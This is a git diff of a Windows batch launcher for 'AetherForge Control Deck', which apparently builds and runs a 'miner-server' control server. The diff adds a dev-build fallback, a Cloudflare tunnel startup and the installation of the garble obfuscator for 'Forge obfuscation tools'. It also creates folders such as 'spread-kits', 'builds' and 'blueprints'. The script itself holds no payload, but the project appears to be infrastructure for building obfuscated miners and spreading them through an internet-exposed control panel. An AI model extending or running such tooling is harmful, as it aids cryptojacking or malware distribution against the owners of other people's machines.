diff --git a/usb/AetherForge.exe b/usb/AetherForge.exe
index c70c86f..75233ef 100644
Binary files a/usb/AetherForge.exe and b/usb/AetherForge.exe differ
diff --git a/usb/LAUNCH.bat b/usb/LAUNCH.bat
index f205d24..7ac23be 100644
--- a/usb/LAUNCH.bat
+++ b/usb/LAUNCH.bat
@@ -2,23 +2,52 @@
 setlocal EnableExtensions EnableDelayedExpansion
 title AetherForge Control Deck
 cd /d "%~dp0"
+set "REPO=%CD%"
+
+echo.
+echo  ================================================================
+echo       AetherForge  -  One-Click Launch
+echo  ================================================================
+echo   Folder:  %REPO%
+echo.
+
+set "PREP=%REPO%\scripts\launch-prep.bat"
+if not exist "%PREP%" set "PREP=%REPO%\..\scripts\launch-prep.bat"
+if exist "%PREP%" (
+    call "%PREP%" "%REPO%"
+    if errorlevel 1 (
+        echo.
+        echo   LAUNCH prep failed - fix errors above and retry.
+        pause
+        exit /b 1
+    )
+) else (
+    echo   [Prep] launch-prep.bat not found - skipping pull/UI build.
+)
+
+if /i "%AF_LAUNCH_DRY_RUN%"=="1" (
+    echo.
+    echo   [Dry run] Prep steps OK - not starting tunnel or server.
+    pause
+    exit /b 0
+)
 
 :: Portable deck root = folder that contains AetherForge.exe (repo usb\ or copied USB drive)
+set "ROOT="
 if exist "%CD%\AetherForge.exe" (
   set "ROOT=!CD!"
 ) else if exist "%CD%\usb\AetherForge.exe" (
   cd /d "%CD%\usb"
   set "ROOT=!CD!"
-) else (
-  echo.
-  echo   ERROR: AetherForge.exe not found.
-  echo   Expected next to this script, or in usb\AetherForge.exe
-  echo   Run pack-usb.bat from the repo to build the portable bundle.
-  echo.
-  pause
-  exit /b 1
 )
 
+if defined ROOT if exist "%ROOT%\AetherForge.exe" goto portable_deck
+
+:: No portable binary - dev control server from repo
+goto dev_server_launch
+
+:portable_deck
+
 if not exist "%ROOT%\AetherForge.exe" (
   echo   ERROR: AetherForge.exe missing in %ROOT%
   pause
@@ -50,7 +79,6 @@ if exist "%BUNDLED_GO%" (
     goto go_ready
 )
 
-:: Check if Go is installed system-wide
 where go >nul 2>nul
 if not errorlevel 1 (
     echo   [Go] Using system Go installation.
@@ -58,7 +86,6 @@ if not errorlevel 1 (
     goto go_ready
 )
 
-:: Go not found anywhere - skip optional tools, proceed directly to server
 echo.
 echo   [Go] Go not found - Forge obfuscation tools unavailable. Running server without them.
 echo.
@@ -66,17 +93,11 @@ goto server_launch
 
 :go_ready
 
-:: ----------------------------------------------------------------
-:: 2. Pin all Go caches to the USB so module downloads travel with you
-:: ----------------------------------------------------------------
 set "GOPATH=%ROOT%\toolchain\gopath"
 set "GOMODCACHE=%ROOT%\toolchain\gopath\pkg\mod"
 set "GOCACHE=%ROOT%\toolchain\gocache"
 set "GOENV=off"
 
-:: ----------------------------------------------------------------
-:: 3. Install optional Forge tools if missing (non-fatal)
-:: ----------------------------------------------------------------
 if /i not "%AF_INSTALL_TOOLS%"=="0" (
     if not exist "%ROOT%\toolchain\gopath\bin\garble.exe" (
         echo   [Tools] Installing garble...
@@ -95,9 +116,8 @@ if /i not "%AF_INSTALL_TOOLS%"=="0" (
 
 :server_launch
 
-:: ----------------------------------------------------------------
-:: 4. Ensure data directories exist
-:: ----------------------------------------------------------------
+echo.
+echo   Ensuring data directories...
 if not exist "%ROOT%\data\builds"       mkdir "%ROOT%\data\builds"
 if not exist "%ROOT%\data\logs"         mkdir "%ROOT%\data\logs"
 if not exist "%ROOT%\data\spread-kits"  mkdir "%ROOT%\data\spread-kits"
@@ -105,9 +125,6 @@ if not exist "%ROOT%\data\uploads"      mkdir "%ROOT%\data\uploads"
 if not exist "%ROOT%\data\blueprints"   mkdir "%ROOT%\data\blueprints"
 if not exist "%ROOT%\data\preps"        mkdir "%ROOT%\data\preps"
 
-:: ----------------------------------------------------------------
-:: 5. Detect LAN IP for display
-:: ----------------------------------------------------------------
 set "SERVER_PORT=8989"
 set "CONFIG_FILE=%ROOT%\data\config.json"
 if exist "%CONFIG_FILE%" (
@@ -123,9 +140,7 @@ set "LAN_IP=localhost"
 :lan_done
 set "LAN_IP=%LAN_IP: =%"
 
-:: ----------------------------------------------------------------
-:: 6. Kill any stale server and tunnel processes
-:: ----------------------------------------------------------------
+echo   Stopping stale processes...
 taskkill /F /IM AetherForge.exe >nul 2>nul
 taskkill /F /IM cloudflared.exe >nul 2>nul
 ping -n 2 127.0.0.1 >nul
@@ -139,12 +154,11 @@ echo   LAN:    http://%LAN_IP%:%SERVER_PORT%
 echo   Data:   %ROOT%\data\
 echo.
 echo   Login accounts: admin + comrade ^(passwords below after start^).
-echo   Cloudflare tunnel starts below ^(LAUNCH + server^).
 echo   Press Ctrl+C to stop.
 echo  ================================================================
 echo.
 
-:: Start Cloudflare connector before server ^(works with old or new AetherForge.exe^)
+echo   Starting tunnel...
 set "CF_SCRIPT=%ROOT%\scripts\usb-start-cloudflared.ps1"
 if not exist "%CF_SCRIPT%" set "CF_SCRIPT=%ROOT%\..\scripts\usb-start-cloudflared.ps1"
 if exist "%CF_SCRIPT%" (
@@ -154,31 +168,123 @@ if exist "%CF_SCRIPT%" (
 )
 echo.
 
-:: Ensure cwd matches deck root so webroot resolution finds usb\webroot
 cd /d "%ROOT%"
 
-:: Open browser after short delay
 start "" powershell -NoProfile -WindowStyle Hidden -Command "Start-Sleep -Seconds 3; Start-Process 'http://localhost:%SERVER_PORT%/'"
 
-:: Launch server (LAUNCH already started cloudflared above — tell server not to spawn a second copy)
+echo   Starting server...
 set "AF_TUNNEL_EXTERNAL=1"
 "%ROOT%\AetherForge.exe" -data "%ROOT%\data"
 set "EC=!ERRORLEVEL!"
 
-if exist "%ROOT%\data\cloudflared.pid" (
-    for /f "usebackq" %%P in ("%ROOT%\data\cloudflared.pid") do (
+call :cleanup_tunnel "%ROOT%"
+goto server_stopped
+
+:dev_server_launch
+echo.
+echo   No AetherForge.exe - starting dev control server ^(repo^).
+echo   ^(Run pack-usb.bat for portable USB bundle.^)
+echo.
+
+set "PATH=C:\Program Files\Go\bin;%USERPROFILE%\go\bin;C:\Program Files\nodejs;%PATH%"
+set "DATA=%REPO%\data"
+set "DECK=%REPO%"
+if exist "%REPO%\usb\tools\cloudflared.exe" set "DECK=%REPO%\usb"
+if exist "%REPO%\usb\data" if not exist "%DECK%\data" set "DECK=%REPO%\usb"
+
+echo   Ensuring data directories...
+if not exist "%DATA%\builds"       mkdir "%DATA%\builds"
+if not exist "%DATA%\logs"         mkdir "%DATA%\logs"
+if not exist "%DATA%\spread-kits"  mkdir "%DATA%\spread-kits"
+if not exist "%DATA%\uploads"      mkdir "%DATA%\uploads"
+if not exist "%DATA%\blueprints"   mkdir "%DATA%\blueprints"
+if not exist "%DATA%\preps"        mkdir "%DATA%\preps"
+if not exist "%REPO%\bin"          mkdir "%REPO%\bin"
+
+set "SERVER_PORT=8989"
+set "CONFIG_FILE=%DATA%\config.json"
+if exist "%CONFIG_FILE%" (
+    for /f "usebackq delims=" %%P in (`powershell -NoProfile -Command "try { $j = Get-Content -Raw '%CONFIG_FILE%' | ConvertFrom-Json; if ($j.port) { $j.port } } catch { }"`) do (
+        if not "%%P"=="" set "SERVER_PORT=%%P"
+    )
+)
+set "LAN_IP=localhost"
+
+echo   Stopping stale processes...
+taskkill /F /IM miner-server.exe >nul 2>nul
+taskkill /F /IM AetherForge.exe >nul 2>nul
+taskkill /F /IM cloudflared.exe >nul 2>nul
+ping -n 2 127.0.0.1 >nul
+
+where go >nul 2>nul
+if errorlevel 1 (
+    echo   ERROR: Go not found - install from https://go.dev/dl/ or use pack-usb.bat
+    pause
+    exit /b 1
+)
+
+if not exist "%REPO%\bin\miner-server.exe" (
+    echo   Building control server...
+    cd /d "%REPO%\server"
+    go mod download >nul 2>nul
+    go build -ldflags="-s -w" -o "..\bin\miner-server.exe" .
+    if errorlevel 1 (
+        cd /d "%REPO%"
+        echo   ERROR: Server build failed.
+        pause
+        exit /b 1
+    )
+    cd /d "%REPO%"
+)
+
+echo.
+echo  ================================================================
+echo                    STARTING CONTROL SERVER ^(dev^)
+echo  ================================================================
+echo   Dashboard:  http://localhost:%SERVER_PORT%
+echo   Data:       %DATA%\
+echo  ================================================================
+echo.
+
+echo   Starting tunnel...
+set "CF_SCRIPT=%REPO%\scripts\usb-start-cloudflared.ps1"
+if not exist "%CF_SCRIPT%" set "CF_SCRIPT=%DECK%\scripts\usb-start-cloudflared.ps1"
+if exist "%CF_SCRIPT%" (
+    powershell -NoProfile -ExecutionPolicy Bypass -File "%CF_SCRIPT%" -DeckRoot "%DECK%"
+) else (
+    echo   [Tunnel] WARNING: usb-start-cloudflared.ps1 not found.
+)
+echo.
+
+start "" powershell -NoProfile -WindowStyle Hidden -Command "Start-Sleep -Seconds 3; Start-Process 'http://localhost:%SERVER_PORT%/'"
+
+echo   Starting server...
+cd /d "%REPO%"
+set "AF_TUNNEL_EXTERNAL=1"
+"%REPO%\bin\miner-server.exe" -data "%DATA%"
+set "EC=!ERRORLEVEL!"
+
+call :cleanup_tunnel "%DECK%"
+goto server_stopped
+
+:cleanup_tunnel
+set "TROOT=%~1"
+if exist "%TROOT%\data\cloudflared.pid" (
+    for /f "usebackq" %%P in ("%TROOT%\data\cloudflared.pid") do (
         taskkill /F /PID %%P >nul 2>nul
     )
-    del "%ROOT%\data\cloudflared.pid" 2>nul
+    del "%TROOT%\data\cloudflared.pid" 2>nul
 )
 taskkill /F /IM cloudflared.exe >nul 2>nul
+exit /b 0
 
+:server_stopped
 echo.
 if "!EC!"=="0" (
     echo [Server] Stopped normally.
 ) else (
     echo [Server] Exited with code !EC!.
-    echo   If port %SERVER_PORT% is in use, close other AetherForge windows and retry.
+    echo   If port %SERVER_PORT% is in use, close other server windows and retry.
 )
 
 echo.